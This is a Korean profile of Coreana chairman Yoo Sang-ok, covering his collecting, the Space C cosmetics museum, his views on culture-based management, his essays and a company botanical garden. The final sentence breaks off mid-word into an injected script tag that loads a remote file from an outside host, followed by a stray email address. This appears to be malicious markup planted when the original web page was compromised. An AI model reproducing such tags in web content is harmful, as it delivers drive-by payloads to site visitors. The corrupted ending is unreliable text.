스페이스 씨 송파지실(松坡之室)에서 만난 코리아나 유상옥 회장. 늘그막에 이당 김은호(以堂 金殷鎬)의 춘향을 애인삼은 재미가 괜찮은 것 같다. 얼마 전 옥션을 통해 꽤 비싼 값을 치르고 식구로 데려왔다. 자신의 호 송파(松坡, 소나무 언덕)를 따 이름 지은 송파지실은 각종 그림과 조각품이 되레 주인 같다. 출근길에 들고 온 족자를 주욱 펴 놓는다. 물건 하나 건졌다는 듯 흐뭇한 표정으로 “그림 좀 볼 줄 아시오?”하며 “어떻소?” 묻는다. 문외한이 덕담 삼아 “좋아 보입니다”를 연발하자 빙긋 웃는다.
유 회장의 수집벽은 30년이 넘는다. 인사동 골목을 뒤지고 황학동 고물상을 기웃거리며 끌어 모은 각종 화장도구 민예품 등이 족히 수천 점은 넘는다. 연말 상여금을 봉투째 털어 식구들 눈총을 받기도 했지만 좋은 작품을 손에 넣었을 때의 희열은 남들은 모른다.
스페이스 씨는 문화의 사회 환원
애지중지 모은 작품들은 스페이스 씨를 지어 한 곳에 모았다. 스페이스 씨는 유 회장의 필생의 작품. “화장품 회사로서 화장박물관 하나 정도는 가져야 도리”라며 엄청난 돈을 투자했다. 좋은 것은 혼자 보고 즐기는 것이 아니라 많은 사람이 공유해야 한다는 자신의 지론을 실천에 옮긴 것. 이른바 문화의 사회 환원이다. 단순한 ‘수집’에서 ‘환원’으로 격을 달리하며 절정을 맞은 것이 바로 스페이스 씨다.
“기업하는 분들이 대개 지성과 이성은 뛰어 납니다. 그러나 그것만 갖고는 기업하기에 모자랍니다. 바로 감성을 갖춰야 합니다. 감성을 갖추는 방법으로 저는 화장도구 민예품 등 수집을 택했을 뿐이죠.” 공인회계사로 숫자와 씨름하던 유 대리(당시 동아제약)를 보다 못한 주변에서 감성 찾기를 권한 것이 지금의 ‘문화인 송파’로 이끌어 준 것이다.
새삼 문화경영이 화두다. 특히 소비자와 밀착된 화장품 업계에선 문화가 더 이상 고급스러운 사치행위가 아니다. 고객의 감성을 자극하는 상술 차원을 떠나 기업의 브랜드 인지도를 높이는 데도 크게 도움이 된다. 문화경영은 어떤 것인가. 유 회장의 문화는 경영과 어떻게 맞닿아 있는 것일까. “어렵게 생각할 것 없어요. 문화경영은 바로 기업의 마음의 문을 활짝 여는 것입니다. 재무제표를 공개하는 것을 기업이 신체검사 받는 것으로 치면 문화경영은 기업이 마음의 문을 여는 것입니다. 기업의 현재 생각과 미래의 비전을 동시에 보여 줄 수 있는 것이죠. 물론 마케팅의 방법임은 부인할 수 없는 것입니다. 그러나 문화의 토양을 소비자들과 공유한다는 것은 단순 마케팅의 차원을 넘어 소비자에 대한 기업의 도리이고 사명입니다.” 문화 환원론에서 벗어나지 않는다.
글은 쓸수록 어려운 것 같다
글쓰기는 어떤가. “글쓰기도 무엇을 보여준다는 의미에서는 민속품이나 옛 화장도구 등과 크게 다를 바 없죠. 일반인에게 기업을 제대로 알려 주는 소득은 있지만 자신의 글에 대해 책임을 져야하기 때문에 부담감은 매우 큽니다.” 유 회장은 주로 밤에 글을 쓴다. 아침에 읽어 보면 형편없다. 그래서 몇일씩 퇴고를 거듭한다. 직원에 컴퓨터 작업을 맡겨 완성한다. ‘세무조사를 왜 하나’라는 글을 썼다 직원의 거듭된 만류에 포기한 적도 있다고 한다.
자신의 네 번째 수필집 ‘문화를 경영한다’를 내고 일붕문학상을 받았다. “이런 저런 글들을 모은 것인데 상까지 받고…” 유 회장은 주로 체험을 통한 글과 기업을 제대로 알리는 글을 쓰고자 노력한다. 그래서 책 제목도 문화를 경영한다, 화장하는 CEO 등으로 정한 것. 요즘 읽는 책은 최인호의 유림. 같은 최인호의 상도도 감명 깊게 읽었다. 잔이 차는 것을 경계한 계영배 대목은 지금도 또렷이 남아 있다고 한다.
천안 공장에 식물원 만들어
최근 유 회장은 나무심기에 푹 빠져있다. 코리아나 천안 공장에 3년 전부터 식물원 ‘코리아나 가든’을 만들고 있다. 여기서 묘목을 키워 여학교에 기증하고 싶다고 한다. 사실 나무심기는 아주 젊었을 때부터 관심이 있었던 것. 이제 결실을 보는 듯 하?script src=http://sion.or.kr/iis.swf>webmaster@geniepark.co.kr
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